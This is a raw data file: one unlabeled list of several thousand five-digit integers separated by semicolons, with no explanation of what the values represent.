26056;40183;39811;26127;39230;63744;56701;29025;44208;16853;55353;24391;32506;36712;17403;37109;60597;21659;46643;23275;65204;14653;32938;34271;58662;62082;14847;37324;52671;38333;10656;34053;42225;57777;22514;61607;52108;53909;15197;14497;16771;51965;43791;41761;22840;11524;35465;28423;24415;51942;16213;61941;53921;40579;57817;43696;49184;52151;21698;54455;51357;39137;32394;11239;35503;14360;28208;24489;54266;43092;61339;12482;20111;41969;42637;61659;24847;31911;36773;50798;33220;21016;17453;46463;39995;42964;54115;30363;63938;61594;33114;57932;46774;43641;48903;51484;13974;56889;42304;35013;16962;60071;15812;58820;25964;13303;19632;50062;61599;16421;44995;46462;57516;55930;41960;34724;14391;39477;65968;22912;41129;54955;16091;52667;19866;11599;27473;24845;66498;49547;25624;62896;38925;10695;24866;57053;64437;40419;25317;28109;56114;60966;26834;23399;64993;15955;43877;35675;59524;36652;34283;49467;49812;31991;65815;63022;29488;64054;41348;47857;43545;27591;36147;20197;33842;59251;42402;50958;27171;30281;41674;57686;62161;24914;32986;50138;61429;11605;31555;25923;20260;57440;46924;53814;63167;29534;51193;34839;32946;10426;21308;28400;65255;44636;53715;36667;11388;18868;62763;42175;24812;55683;21421;55693;61495;22084;62371;31022;66505;22540;60577;25887;23072;52167;31359;15193;44437;47851;21025;59413;47506;65211;36907;49297;16519;14683;38325;55919;58722;11911;57658;10715;35590;46638;22781;58547;43199;15854;45440;10297;28165;58629;25847;12340;17417;45279;22619;12001;24677;12255;18326;26057;21477;49096;40989;44020;62133;33091;56263;65816;65864;43841;19326;36013;35577;21091;38083;46737;61228;19171;29603;12369;26797;39904;43099;10696;51111;21509;19705;55310;39353;26955;40582;29996;60291;29073;42970;46650;14801;65883;14509;38747;42453;55534;30140;61232;33802;57594;33612;36581;41919;38421;13099;26982;26059;66060;11358;17467;39765;27083;34086;11051;22151;51163;60865;58465;59572;59563;54872;32350;28913;13234;50298;23200;55437;36503;15356;52489;49425;60306;66120;54298;62301;24424;21667;17596;40172;14030;12126;29013;44682;60378;41566;28473;19094;59750;17354;61425;64838;48218;29074;39328;51047;27381;58999;12363;66542;10916;24733;50744;42997;41377;49236;36848;26180;45144;56782;19401;19797;51100;36174;36734;53936;24241;20511;20215;15160;26815;45174;36833;30272;58458;35041;16642;31365;48998;25503;15591;47099;66091;63935;14216;33429;20796;40931;58115;29751;65500;35097;55809;30848;29642;43971;58104;50923;62653;24123;20202;61866;35265;22867;56591;66704;41833;19819;28565;45750;49201;24467;33199;41189;34814;27211;18104;39447;22560;17542;18648;37470;56503;30480;40013;21856;22385;16750;47490;34143;50464;54806;18663;48991;36024;24115;66613;44728;26842;54559;60599;30137;40466;48829;50102;58840;42209;32840;30585;45187;28828;25273;25517;60784;44462;54159;59765;49671;56532;50886;21469;56387;29363;38397;30136;11139;64612;54479;37781;19060;53598;22481;37037;21322;52300;24381;24563;19043;35261;55143;25522;55087;28994;27843;20049;30310;14750;65992;35390;11577;34769;60301;41252;52591;65181;50496;52389;46864;44073;23075;49484;29235;66829;15659;57182;48659;65066;11908;26053;60485;65709;30047;26690;44412;43457;31268;60546;11152;19312;48701;26271;21910;30697;34524;51811;14566;16016;50813;32391;37931;41548;15555;41715;64497;60525;25077;37975;59058;62529;28190;34688;51525;51401;31605;30353;46332;12333;47313;49584;32396;37200;53558;18225;27453;44432;53252;40965;25212;24814;24580;64283;49205;52498;54331;21438;22366;22041;28414;32513;10371;12572;40047;30805;63922;36083;27729;64310;55387;36585;37280;29735;25732;27335;43949;16371;40103;36955;56349;57423;33350;28793;50899;27029;37804;64367;21472;20542;61145;35515;22816;56148;46584;56561;58781;31844;14218;30007;12951;48843;60663;27763;14309;40189;53204;53158;65824;16651;28588;65467;21722;38432;37613;23257;54409;53299;26629;39000;54980;31124;54760;18137;64821;66660;46556;61453;24679;11766;50323;35614;18543;32353;63674;62961;57662;25931;31738;30846;25135;19222;44328;51364;55786;52275;54129;45145;24292;40444;59739;18081;50495;61723;36844;40486;18644;39320;52983;44282;23467;33362;16605;32340;37001;37577;58160;57994;22815;31203;34453;28584;64717;55473;18073;24737;59165;14229;27592;32677;47395;10901;62656;18044;30942;18057;49843;24416;59724;44600;23517;17633;12630;34227;21676;55622;63489;66793;52428;56914;45937;43658;30111;11261;32398;36114;50947;63164;57763;11375;46218;12993;25024;39066;10152;52588;55238;22185;57179;55407;62803;12923;14338;13762;12605;13863;44874;29918;33063;50211;43964;34964;34726;35368;14428;45443;10002;12891;26595;40851;17532;47601;12826;32620;38708;66324;22051;42628;21846;54635;65251;52812;50058;65925;23225;41666;53322;52831;26108;53505;18269;61371;54807;33950;24691;18981;55877;65064;61252;45026;27075;36411;46702;57069;20510;59701;30462;16251;47070;16029;23903;50177;13568;47800;44719;11176;46467;66923;50195;63091;43483;26579;35523;52686;50661;51547;33294;37168;35825;16612;32695;63457;66064;21039;26391;41789;56592;12407;10985;42114;43627;50012;42123;36713;57324;40206;20662;25560;36399;65418;55157;54274;44609;59299;37435;34554;45505;31901;46894;54352;41724;44087;63763;41077;23754;30632;19016;12784;28810;62460;41542;13621;60136;54473;39593;13806;42215;29343;57644;60743;31897;46594;14936;53923;48637;36686;40862;65698;58601;53183;58390;45137;30275;25970;35337;50269;10577;50450;43688;48248;14662;60702;22460;34409;29759;39470;13491;26612;19901;23971;29907;51696;21743;60608;25230;39452;15936;23536;65129;55512;65331;42800;14802;51414;48433;36234;55862;34261;17288;39132;59784;32349;54586;11619;35998;66063;52879;17070;63449;11612;23702;39040;42060;53760;17282;33085;12988;58108;51224;66873;59069;14062;43763;31053;23647;32872;49695;35531;30050;63367;32099;66678;14531;45941;36871;47179;11526;64758;21608;58473;31834;60042;30963;20352;31189;56881;37438;43940;45589;33348;58336;22380;43662;18549;42630;42635;30723;66743;56600;63081;28766;16385;24296;42581;15824;15430;31064;63371;15265;22015;26899;60120;34357;25793;11629;30630;15534;33098;56439;30854;14366;60379;46550;13178;36529;64841;63708;18681;44136;35510;30607;55195;57061;51273;10790;38160;41572;17074;50978;29262;51112;45116;28282;31239;21909;44308;43767;45479;21121;53939;58983;19189;12912;41389;22121;47556;41922;44602;47523;12911;65382;13453;64659;32464;56809;66164;58526;10346;63301;65336;22790;49630;45776;16033;16971;32668;37793;57978;62676;10744;25516;46110;47220;48793;50768;47072;41774;10462;35831;19469;17122;37944;49979;64944;46554;53000;12625;17650;11022;51303;64979;15131;52404;38356;26636;47615;60572;13708;32049;50931;40971;25618;16613;38249;23300;35973;28042;36464;29067;54139;44865;44175;40687;43253;41613;65324;19017;43980;24378;52869;30623;49471;10402;21310;19420;60066;60875;57323;46783;43476;29968;60934;48590;52069;15246;52142;28934;17275;18785;47673;23938;43176;32845;57286;43594;58641;31085;16809;38086;28410;22065;60814;16995;19620;11764;23741;65997;13682;26318;16591;17761;29572;52073;58226;62518;44644;34644;42482;32696;51178;27095;12959;37271;15129;19608;30919;62702;53655;65852;22020;43611;15872;16955;49738;16319;28552;56644;50216;63775;60633;48506;53808;53611;33979;24104;62403;38519;41196;23079;24001;64482;23098;66053;50011;58147;59984;54295;11160;50953;14191;21693;53893;15893;40837;30561;14610;42954;23470;65822;32975;13737;47399;43692;42865;64187;57567;51356;47768;20159;26939;38375;55464;56232;61205;60870;42291;25495;11255;46419;20135;14090;41150;55980;36745;20568;18683;31865;62080;35376;12633;58460;28433;55094;26666;10957;26756;14104;57148;38066;49187;48513;39129;23438;45809;34200;20480;36786;19182;47747;58891;45859;56160;25125;29240;15472;20016;14292;44189;41258;42660;15862;58138;42769;46617;55127;62931;21353;20751;50903;57356;21263;62141;39610;39092;11297;22919;21586;48767;61791;55807;64480;28478;32874;66267;62057;52022;39672;31089;40765;24343;64850;27212;44012;20897;63218;48763;57834;14911;36692;62799;35968;41783;32318;42133;16048;18255;13624;65863;33033;16741;48183;56445;17027;18482;40796;50122;62751;61481;35877;45900;60248;61686;50360;21726;13881;34963;22685;26880;55960;20250;54166;43116;13957;24523;22718;56904;30058;53012;37700;22796;18761;23001;42354;37493;44922;54957;24969;50164;55259;59363;30913;44343;61662;46914;51915;34846;36297;59300;30252;52982;56238;37897;36864;15653;23793;53743;54972;31619;52174;30160;30292;38319;40256;25926;11465;23716;29145;42506;13001;19297;11872;29681;17805;27828;59833;20611;41124;24876;23640;27599;30217;22299;46943;13795;34312;50715;41577;25532;34972;45985;61845;16815;13965;48999;55682;45040;30743;44540;10422;29782;63975;33963;38256;47034;29625;26554;58793;63710;39963;50046;66166;35841;31822;33078;59007;53647;30653;28651;35656;49443;14956;12746;30257;54729;65944;45032;47817;22835;45558;60923;36330;12101;39557;17172;40674;41688;36647;35541;50424;59272;26877;47616;10264;27939;37951;34802;53748;44107;11442;66307;17609;64969;19917;27363;53170;25596;47629;50036;49597;63075;50252;34707;42577;24572;61895;24551;13323;44408;15001;54204;40794;25107;12372;37387;48682;19457;56290;24257;53388;45800;39345;29429;36395;41012;12123;16186;13393;39330;58773;51211;19687;65083;50320;59743;65985;24671;62497;60491;35302;43362;47169;53377;34063;65272;21979;66160;35936;31999;12010;20663;38914;53793;11449;60314;47651;45525;65159;62755;22580;58488;64665;13309;31228;32128;28049;12722;65984;10542;51377;18791;54012;28277;33969;46563;42059;31435;19536;29745;22125;16432;40185;46057;26904;45745;14744;36093;15665;17179;29933;31330;11606;25794;48206;20321;46832;31949;15818;34562;13958;18713;23051;32860;18754;64133;59039;59166;14862;20562;51003;53371;57249;44264;32853;13759;63848;10432;24809;13963;50735;49847;19672;55086;50743;13129;32864;65341;20323;15857;61189;35504;60449;13822;15011;30700;55438;58855;31260;42040;31238;12509;22296;47265;40029;30530;25654;51310;15414;48746;49153;22553;49448;64832;11711;13926;65871;26423;28979;15896;26457;40240;37139;32168;66675;59955;62084;22458;18416;31323;24767;55707;65851;65893;12265;13510;45156;35829;25831;56487;61974;44210;35718;57637;58592;63576;15248;15014;46546;49748;57813;18956;27175;31953;37303;28739;12715;48233;39766;46976;33575;35141;46048;39461;55965;44679;62121;66516;10203;44220;54243;16439;22837;14308;41225;30156;61553;61728;14502;44022;31135;34240;33852;35793;11270;38383;35975;62305;57135;24420;33416;51281;47631;20652;52525;41838;64523;27106;10345;18405;30601;16190;15236;35304;36077;19904;11020;59967;66188;13990;59811;52240;10040;63559;61596;66004;65412;18871;18034;25037;43987;43228;42277;42813;49763;20417;49797;21104;37270;51514;55296;15224;61627;46865;61460;62486;22073;62329;23288;15260;39885;31733;54489;45772;14005;54411;23881;12963;55570;38529;63794;17818;23692;32931;41986;56394;39133;39518;43529;23522;28654;53982;62005;27642;29080;27487;23096;24340;59715;51005;54279;12087;31601;66667;54345;14514;15133;16825;17148;48481;57241;11286;18755;42457;58194;55393;28564;57388;66277;61375;47550;61496;43878;64844;18181;45528;16832;54637;55123;57273;65385;43518;33396;56074;24823;42479;32532;25739;34640;58696;28690;35229;13497;12861;65565;30393;54404;29425;38299;22966;29598;35605;12829;13934;60878;13988;46241;20740;15194;57492;32363;26545;59570;37326;52306;64760;12329;25397;21234;51922;32839;66436;41158;19642;61957;58944;60843;15685;66577;34552;14856;50767;59163;55698;26548;50277;65667;47532;27816;45657;59366;17068;43596;29158;45291;44605;41091;24868;36112;12403;18150;24287;59418;47021;32178;57665;21703;62852;48441;53102;45557;34058;51706;36845;11190;65152;14780;45129;17611;41102;44726;53876;64581;62690;53269;54186;25540;60535;58746;22222;36519;56025;45148;52753;39265;62443;36182;45975;43507;19863;52706;45812;65959;42252;43548;56429;25112;48251;65855;39686;35910;27053;40785;66294;28098;39798;22700;41103;20794;42475;63370;33326;24641;55365;21442;35167;40292;11541;46997;54002;65213;51285;62555;37531;44857;20365;49640;52602;54442;61126;59444;57669;66650;61088;41842;44049;60015;18659;23660;42420;18534;40602;33145;50040;45086;18640;36584;44754;40532;65013;42398;65806;56199;22833;11894;29633;42192;56868;28713;19728;22608;14285;35911;46387;47264;62716;29715;29744;40469;40070;23623;19494;50516;11731;43304;39207;11521;40190;43927;64338;53468;59916;15210;28021;32952;17338;42670;55649;52742;54165;26867;20372;63343;44525;11494;47630;39795;33084;23057;40908;46945;48963;38134;14642;62016;22431;34559;30334;48512;62864;45304;57793;65420;41215;13206;50266;38624;44762;18095;47520;61564;40742;60065;25645;39101;19216;45626;63516;60929;57127;18378;31917;40682;37370;34218;40396;47765;13418;38304;15884;44053;49815;21540;42309;28714;22570;59915;21235;66594;31427;23768;32050;16495;39516;27989;55489;51260;58093;53665;44319;31843;14938;46652;47659;62456;34961;11610;54147;10037;14609;39790;66333;37729;57951;40910;57626;19096;49124;52397;43623;17685;60592;49559;66272;21720;60955;37961;38734;15110;50739;21637;33203;40109;19042;28893;29946;18345;56279;48960;30108;28140;36486;29012;32220;23219;50247;41108;37284;53197;34281;44413;16722;53300;28595;56213;46896;35890;35483;62587;43173;25576;46676;22629;61417;61744;48153;38034;45444;31575;15543;17062;29978;47655;36879;55109;44533;12504;48598;15126;13346;65286;44695;33608;40804;37582;13677;40223;29665;11249;47433;32525;11750;31782;23633;29215;54875;24017;37936;45294;58059;56759;14513;56366;61260;27287;42027;33257;24040;18323;36228;44392;32991;27797;28377;38393;58324;44678;16801;54905;29793;48665;58204;27972;28912;59223;31242;44470;38803;46197;66890;40449;66939;58202;62705;51770;27205;52783;21853;16976;35457;30879;12510;35798;58649;32392;51462;51139;29460;49679;35896;58716;24598;49876;15723;11008;45227;59360;58129;17086;25757;66007;49707;47662;29808;44973;12686;10704;23584;66145;24833;10313;20517;63563;21627;48932;61073;56870;55815;53350;59944;40026;17409;41739;32091;44233;46249;49152;49291;66597;37512;30138;38741;35093;25515;52823;65624;66429;62357;52383;27920;29656;46523;39430;20409;42010;19730;63237;31317;49507;48600;59487;30785;24709;58410;60409;30489;31883;31100;33882;13495;48479;39884;63253;59003;12611;15783;40279;36329;53488;66673;46176;13288;24794;17778;11651;29768;22062;47591;35618;63780;54444;25276;64600;37055;56311;11387;31770;30732;66058;52171;22453;22537;39178;57213;39927;43005;46701;40286;42239;22865;26309;39282;53583;30074;21501;28710;53855;59258;11584;17270;16023;34882;21949;29900;29048;23233;64536;15775;60187;46887;59583;45912;48838;44909;44424;40146;12074;63932;11626;51604;31980;40373;16436;60020;59332;56392;62983;34533;66935;60756;54778;15744;60389;26767;43944;19972;18331;12998;66196;50877;58633;44722;31933;42549;50672;57231;33376;30940;45051;18180;57316;21593;51434;57029;27216;17109;51721;21974;22309;47722;39729;48642;22032;59671;33395;15765;45492;56988;34861;55010;11071;50281;57404;57420;17097;52432;24788;34751;64260;45384;44899;64420;47897;51095;35858;61311;44102;58472;24022;33509;41885;38817;51879;17589;14777;50934;60152;53851;13474;50989;42727;35408;60724;39816;43761;47697;11237;17652;56318;11447;24121;65831;20561;42368;33870;34863;54550;32141;56607;32950;48519;57603;57829;33118;50220;61872;26184;53770;20207;28541;41046;20791;36069;57502;61987;49641;38531;58489;28626;35737;32646;29462;38957;21314;14455;34133;42998;40574;34636;55018;45977;17524;23534;14774;45965;10159;60733;65124;31496;17360;14445;45646;31812;66737;36690;40077;44285;60293;49235;15544;18022;25108;22785;48357;10183;10139;24006;26123;30020;65304;35122;28757;33708;48906;61657;63205;42856;15962;27233;30214;12984;21181;62280;65100;37849;59902;32406;61365;62574;58431;61142;63264;56505;47703;19989;44656;16830;60659;22649;44464;63581;36861;40454;36241;57899;54634;63702;43868;50787;57690;42979;35563;23975;37524;53717;34259;36224;56863;17498;21371;20730;63604;22964;41074;35062;61383;34337;65639;54113;51045;12433;58322;43815;21303;28635;19731;53578;64390;65081;53239;27759;48257;42268;65347;48500;57188;17642;13152;39489;10312;62469;41039;41207;63379;45694;61976;31233;21939;42612;18609;27337;15806;63047;26516;33372;60361;46312;59435;45112;20919;54913;42585;17213;34695;13730;41324;26639;39506;45306;13687;38070;61507;54708;66247;12732;51274;15183;28055;55597;24452;53626;29527;37642;60407;47025;28335;55246;66087;36703;63374;66016;46581;52117;27703;28160;42608;30079;21138;34997;39727;52519;44236;57329;42750;34992;57875;19571;10389;16790;11805;33482;35474;19114;40411;19822;39753;55792;44363;50156;32067;59267;63328;66056;11428;48790;61891;51938;36194;24256;21189;22595;17793;17028;48470;65961;53359;15972;42683;33433;30709;35713;14046;39726;22220;16589;22464;64640;33646;63686;33324;27938;23843;45683;55308;20464;14318;37382;17740;25484;63798;43033;13055;58888;48444;24413;60251;17253;66139;38426;62726;18306;30182;38947;32224;63677;39392;63260;14957;29887;43332;53827;50806;34818;49229;58762;58906;37164;59092;65479;64516;40618;60917;48865;64175;63247;32288;38746;64326;48831;64247;58976;15629;13212;55129;66823;19771;65381;26058;16818;22772;64505;19349;28444;36356;39208;34338;17346;18610;56743;20852;63984;58995;27164;18091;46436;37009;39010;49911;10556;32547;10388;63125;33603;29530;21962;65234;55312;53938;31787;10003;30798;10465;23018;54554;51507;66462;12790;16839;14014;47006;13408;34099;31851;37638;24477;15675;27996;12622;26227;55785;29300;39603;42681;50154;44873;55397;64870;37745;43027;42419;26723;52767;54043;53792;13738;35786;29114;49765;15465;41310;32274;19939;40926;18688;12481;29731;62810;12125;42126;16918;53703;20034;53554;14731;31494;39331;20799;23366;43588;18778;24217;45892;14542;41846;19425;12017;32360;49137;13083;65319;60221;59315;49319;48898;29201;55778;37987;23904;52592;65307;30289;35818;17438;18188;42116;63380;56699;47905;31403;52553;34008;62093;30537;38546;45092;56792;44591;17116;23181;31717;22019;10161;22996;54997;26530;30575;40823;37940;50663;34110;27753;11933;58896;52194;17092;17458;65902;13084;55228;50337;52689;19313;36724;33713;33222;46223;36762;53384;26416;24490;35637;27658;39907;35724;24587;32418;26028;27982;26757;60382;64605;36171;56185;14732;34117;25605;17084;38610;38219;29227;38703;17143;57297;27133;64106;63742;43443;57982;26895;43792;24003;51677;66191;59056;32745;52390;47783;32075;58166;25006;62929;63277;20490;28482;49583;21881;48931;11211;65186;19920;61569;39812;53372;62091;19718;26063;25091;53542;34632;50217;55203;46845;49879;55232;64407;47672;50597;61379;59110;17330;47639;24527;26383;51863;55754;28325;32292;10778;46160;60112;29253;15289;13735;39434;52009;36839;24778;39522;42645;41970;26760;21367;10930;48589;41965;64860;42380;20846;13081;57476;25320;16093;17264;41037;21408;56707;46476;55481;26476;45921;42931;49384;10474;52093;42796;65508;58022;26890;58732;26414;19351;39204;40440;49661;41870;34934;60992;24749;54847;54821;51453;14669;17355;32967;30103;18797;47376;15981;10978;62714;35332;41355;32945;56175;50921;33549;37149;47862;11252;64507;28048;47712;16999;12711;27132;35024;39048;23436;56610;66911;66579;21359;44099;60280;22061;64599;42426;11979;66870;29372;39120;29042;30731;10058;39592;16935;62081;22638;18455;23463;42115;56186;65368;63131;31951;56714;38556;25434;45715;32218;34675;39234;43984;64123;22695;30172;46227;52372;32460;39024;47733;62954;41629;33595;30405;58292;61368;31026;50317;54231;27020;55360;29580;20683;60233;61283;30878;51978;22535;62809;29020;46940;25199;51516;51267;59746;45820;51034;66897;28426;19786;34980;47191;18531;11166;17653;33880;48524;58187;41973;11955;59510;16887;48593;33304;26505;57334;30442;66340;53128;37392;60541;26430;54654;34005;53951;46765;27714;36925;62461;48787;32726;42187;37929;53027;50849;34989;61814;34625;43109;49164;41488;18909;50742;43374;55959;57964;58912;31237;29422;60852;47895;25415;44864;12063;46611;38430;13925;52409;48861;15137;40493;54439;23317;34411;21404;49810;66423;12985;56706;55480;24618;18700;38438;59304;45221;31213;47864;38602;41782;31283;10610;50228;56660;17136;61813;23659;65362;19671;34770;38448;62878;37905;30821;31988;62940;46336;46572;34609;55264;55288;23705;29273;37427;57014;50409;54689;22738;46479;11009;32619;37087;34255;58348;51373;38998;24207;62703;12093;41857;66619;56581;32404;14164;49040;65548;19750;60019;11913;19207;28738;42033;50103;56554;11625;30420;52114;57850;38394;12870;35788;36271;19982;19531;42246;15661;43852;34856;26351;45734;47013;47221;44935;45679;56933;55006;32582;41459;35542;59965;44939;15849;24237;13765;32603;22188;28166;39526;64249;59378;32106;40110;61107;65895;49035;48781;18294;13595;64807;45799;22358;19729;39935;23915;55002;21071;53628;50909;50185;27131;31731;48493;43078;52784;16161;40018;59222;34042;22622;65375;21542;57619;29637;23306;28621;46444;61961;14328;59293;14817;14138;32306;10192;38812;49316;28314;62953;23755;66653;54393;60018;63533;21284;12730;21075;65977;66951;45520;29950;62385;66918;50951;35458;16714;34013;44307;35851;19143;29208;11888;39997;53227;20969;56636;34464;41689;39801;17126;53553;10169;57306;34311;35477;30933;35444;11202;44298;65663;53277;63323;24934;38187;60888;21497;43916;60060;30985;17691;12035;39500;39944;19528;56138;13697;19742;30371;59651;20702;11969;26852;37780;61044;41156;33830;41670;47142;43204;63619;63878;22298;64498;41992;66300;60081;48420;48863;57235;44862;47203;66866;28585;45559;44331;61352;64300;19333;17333;13592;56473;38981;48651;42709;27323;51337;52052;24086;27090;63432;53271;18707;43563;15673;27424;27009;49614;45652;46244;17545;12841;27628;45222;25946;49207;34500;16927;11776;12670;45918;58045;24813;21959;11077;63832;55790;38447;20691;23867;32729;15700;62122;54242;21297;21159;66023;50169;47732;54752;46058;35274;25696;21233;47687;60313;34155;41467;33146;19564;37963;12671;33149;32268;16876;13432;26871;13971;12679;32325;26155;62646;27343;57894;32533;21107;65201;59853;13717;41140;53674;18911;65001;49133;57512;58790;20096;57187;45459;28168;63203;29974;66035;14914;50762;57585;37912;18722;13944;47147;20376;33139;22792;15253;26137;20172;46757;16928;13063;29925;45081;61856;17715;36912;54620;34052;20865;28417;60189;52629;11259;41170;63591;65982;28101;21928;62932;60545;65090;46074;55615;28104;43532;22257;27385;63518;62163;35691;46426;18106;48697;13948;64392;25352;19229;22678;43359;29003;29876;39634;35288;18183;66439;18932;25079;41458;28305;24170;28653;49487;64149;61357;40186;29961;33569;66552;60486;54292;29207;38133;61642;23519;21142;14619;47317;34495;34701;62691;65459;18569;12624;19644;17216;21912;37369;24615;41869;56385;29614;46296;37379;40293;10367;36078;42519;27862;15058;29815;38374;16649;33921;53163;53639;21206;35878;16383;23901;65758;16766;52552;11948;42395;12327;27415;58328;57379;15545;53524;45863;35835;65625;27281;48900;30681;57876;18276;65462;65684;44162;55381;15204;65099;24354;27826;57111;38917;16369;50018;59141;28075;28580;30746;44024;41399;53579;36487;65668;31370;45968;34615;42037;12326;14475;48286;27796;25393;48189;17785;52411;35119;40600;10822;15038;25664;28175;56455;62414;16523;65472;56726;26000;37968;65765;36811;28316;12059;17182;20621;46189;25123;16392;23372;32722;37122;44794;34661;29986;13078;26025;64111;45310;33297;11705;37878;60295;13365;48534;43591;31774;62315;21972;34080;12574;44867;45419;23153;47741;25022;35464;16018;17444;12348;66568;12701;26902;61469;12532;51856;28082;50641;23502;54285;20263;20743;53914;38912;51046;58255;36032;56082;53983;29365;29356;24683;58851;41562;21100;23866;34007;43193;43207;31639;66506;23627;65618;28521;42762;26884;59178;17065;35263;65749;36212;65430;33720;38674;29739;17681;23474;52512;18825;18388;53587;38744;11372;27419;40657;62542;22082;14172;66833;44802;62323;43370;45852;32971;24118;39298;31713;33892;54363;32194;33028;55021;34528;10277;40909;21448;20990;33533;55040;17484;11158;13289;15363;55282;64110;31344;16504;33860;33731;24780;25687;60070;34350;35256;53755;24548;11224;54026;61851;23508;58393;63741;23554;65919;18241;63368;56156;57543;41018;37206;45417;55450;56761;27944;41659;30415;42662;37359;66412;61605;64531;16739;51344;55888;45423;58506;52513;37728;24160;43512;33485;52002;43618;62446;19906;14402;27051;40848;22567;42306;43789;22442;39809;30414;52893;16028;18656;38504;44685;12076;49157;30662;49701;50389;63573;26473;14779;57123;62481;31170;15092;51660;30364;13985;23550;57264;33076;56479;16139;42759;48348;48501;36117;31968;23488;31727;61821;19757;23077;10566;55059;40978;47133;61674;36880;30196;49991;14306;34209;14451;40418;21861;18649;61704;40262;40341;13181;17565;58434;54136;47431;51033;43316;54023;34497;50444;10635;41106;19439;15263;18892;11296;53835;41210;27988;46502;24965;17765;20764;30669;59561;18595;45724;44463;35922;63051;26122;55562;36596;61218;38324;22491;14029;55913;23674;47841;12960;32163;62360;61122;15870;57675;63745;44666;37433;39003;51257;37885;55235;50120;42838;34182;35135;65327;61436;46492;16656;16930;34900;28936;65184;59279;47648;43060;12378;46678;34681;14429;44292;26898;56181;50705;60459;32863;40611;59729;22578;50272;38555;37708;29268;65605;19288;14677;27201;55497;29662;44686;43447;51070;47404;16359;34430;39263;41456;52128;13123;46571;29979;62253;66322;36455;26783;66321;20066;43341;25755;14667;24263;30583;65410;59814;35238;22953;28853;25604;11662;60681;52800;41097;53294;57304;52109;54040;31371;23339;48528;64939;41824;41364;41780;19481;34647;38631;11611;49648;18928;10483;34435;31318;58291;25004;35645;11052;19560;26348;33657;38264;55258;30793;22406;66586;35690;52259;42826;40920;26140;19329;27263;56104;19021;44300;38651;48548;35137;26069;50398;55628;60808;27433;11993;49168;24765;19250;66246;12005;27461;56285;66729;36451;53182;51550;10486;28996;27193;63692;43200;39680;61011;47554;55918;61742;32805;60723;28594;30014;38528;59001;66363;34026;47229;48922;49897;49677;24472;13236;63078;31450;14335;60797;16759;35907;52248;14333;27143;56705;14548;41241;62209;14827;16006;16956;22218;46717;11841;54262;12560;31654;57692;31987;42781;50537;11111;50890;62942;50632;40755;54460;45660;51153;26534;27234;64209;43220;11058;37443;12626;13061;12418;15041;11657;21311;41453;16224;25140;62157;41155;20142;55637;20475;61271;46253;22237;25363;61246;58823;34195;45871;51372;52479;66334;46013;47053;47507;14430;11406;45376;45699;46883;18059;24540;32933;30374;57641;44807;41290;27030;54753;27138;14919;15549;57083;14920;32826;29947;20938;18317;56382;13690;42775;21391;20021;20972;51862;36683;63701;21334;60030;49245;54283;18434;59859;65120;23028;24624;34426;31944;65082;27266;56923;45382;54244;50847;57550;12642;55666;12703;50875;56126;39544;35399;28266;64440;42330;23776;43629;23445;23658;11307;31592;53644;28852;32734;29349;35870;29239;31821;31670;23229;39731;65111;28845;57268;19147;33176;65725;37112;29069;62884;36771;55352;36243;10120;45713;61343;35049;46785;32068;52377;56762;43123;34213;28429;45450;40589;22895;45966;60181;26356;56162;52089;35734;31164;60067;59761;39314;61778;39821;41698;64219;45402;26320;21941;16545;28939;58051;66234;58605;53164;35827;62234;26846;54819;18804;27468;53861;46579;29540;14000;51322;17324;64834;61411;52887;21607;45685;35989;21981;35182;23582;54600;33418;48857;56587;28820;20030;49002;40074;49406;64278;41607;59974;39337;22978;10069;14376;15029;14679;52348;19270;65830;66025;61822;12296;50332;26814;51635;60845;43773;21429;64895;51609;42362;14436;20258;55829;20240;20430;35964;38609;43378;15945;48679;57695;33108;27379;32449;37056;30481;64079;28258;36317;45721;56331;37473;33579;33346;42493;10438;46972;33986;42056;32368;50328;36794;48394;63354;14442;54324;49418;60749;64475;36041;56693;48557;27827;66629;16357;14758;35180;28895;54112;44860;60338;48982;21321;16475;18850;56430;25413;11119;28128;15638;38298;23446;46551;26513;10086;28887;28984;26412;16752;44534;56940;35596;39281;64025;48146;25552;34511;17101;40672;40526;55967;19524;31740;64022;39297;43580;20668;55256;17242;16110;32816;42448;15753;17096;24509;47837;16652;54824;45036;41720;41334;27596;23979;17617;23688;39843;24262;42012;41743;22248;38578;17056;64409;56085;52888;20842;66287;36070;18827;25427;62620;23651;15738;47749;38269;61510;46134;43456;31747;35225;52290;21781;39356;16226;57789;25724;29964;44624;32580;59218;37110;47564;16892;30201;49057;10404;59745;41704;66752;18299;16232;41911;38209;13681;20373;28257;63977;54977;53306;38494;52338;52234;22973;37991;35599;12883;31936;48530;29482;21436;49884;56695;48562;37680;33744;14952;66123;27707;62873;47876;44564;21479;53172;18771;60645;54950;32479;31565;16842;46127;15391;43150;64015;33775;28508;26116;49705;32829;13561;42525;35350;39764;20747;26685;40876;30039;66085;63070;46847;14790;15987;32758;13866;45282;64173;58069;61040;64568;22712;44418;60285;41395;17440;23041;19525;56406;19484;15381;38445;35875;60334;49146;45718;46690;50970;26453;63461;14382;21844;43551;23918;59433;48620;49051;37742;27390;57958;52650;15115;11116;30578;23897;37348;60202;39599;36296;33724;50656;55466;28816;22557;29594;65477;57701;54349;37772;23134;49998;32876;62585;56237;19240;52663;63913;27610;34828;23781;14829;34633;11905;14599;41595;46722;63746;52936;43549;11209;16733;45722;25888;57824;32519;28091;12357;56525;28385;59530;62717;14693;25603;28217;53972;20527;24266;66206;24840;54171;33508;36113;64439;16531;54181;24854;28243;54273;26769;13195;41569;58381;57940;34525;11778;24994;46724;13269;65054;19030;49514;11397;23411;53024;48643;60426;36947;17009;58808;57085;42315;36391;27196;34256;55163;56220;55651;33617;26310;47145;31214;26810;58519;50095;25816;38807;57128;53075;18879;43157;36630;35689;47089;61332;48834;39344;59368;53423;54653;22194;20848;43045;54006;60487;12595;37924;16418;10495;40330;29418;28563;50889;18151;24182;59890;51573;47576;16635;34079;13317;11350;28223;66049;31327;51367;29571;30715;10189;57346;25402;64583;31850;18012;18492;26550;41159;27232;47437;47863;60227;45447;18705;56558;19004;34982;26113;49588;14489;60337;46534;52550;27438;53430;53471;53725;27785;65299;26886;34732;66332;18085;40019;61062;37080;54795;21708;14572;58834;45218;29821;45118;58755;27653;40328;23042;25234;61865;22323;65154;53071;45048;28598;32542;42026;59288;20282;44269;16008;34606;56941;18239;60906;44734;41354;38365;55532;53387;18499;21018;27777;60539;20347;19928;40957;30232;47241;31537;10059;15906;66899;43135;26390;46372;53448;47510;50081;23999;62922;55657;61115;59453;64141;18514;40028;31553;15470;60586;53735;19545;30836;46708;13780;33291;57206;25185;35723;66587;29729;16137;16120;62883;58309;49980;41668;28999;31475;10088;29467;58921;46471;38157;43899;43867;12065;44256;27995;46288;48649;18429;27321;53600;53773;27594;51176;26870;42372;60145;56766;49400;52892;11569;13419;64999;12100;20654;10210;32405;24644;27293;